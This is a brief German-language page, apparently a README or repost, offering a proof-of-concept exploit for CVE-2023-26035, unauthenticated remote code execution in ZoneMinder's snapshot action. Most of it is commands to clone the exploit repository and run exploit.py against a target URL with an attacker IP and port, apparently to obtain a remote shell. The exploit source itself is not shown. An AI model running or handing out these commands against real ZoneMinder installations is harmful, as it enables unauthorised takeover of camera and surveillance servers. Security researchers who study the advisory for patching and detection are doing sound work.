
Unauthentifizierte RCE in ZoneMinder Snapshots - Poc Exploit
Unauthentifizierter RCE in ZoneMinder-Snapshots – PoC-Exploit
alt img
ZoneMinder-Versionen vor 1.36.33 und 1.37.33 sind anfällig für Unaunthentifizierte Remote-Codeausführung (Unauthenticated Remote Code Execution) aufgrund fehlender Autorisierungsprüfungen in der Snapshot-Aktion.
git clone https://github.com/rvizx/CVE-2023-26035
cd CVE-2023-26035
python3 exploit.py
python3 exploit.py -t <target_url> -ip <attacker-ip> -p <port>
pip3 install beautifulsoup4
UnblvR hat die Schwachstelle entdeckt.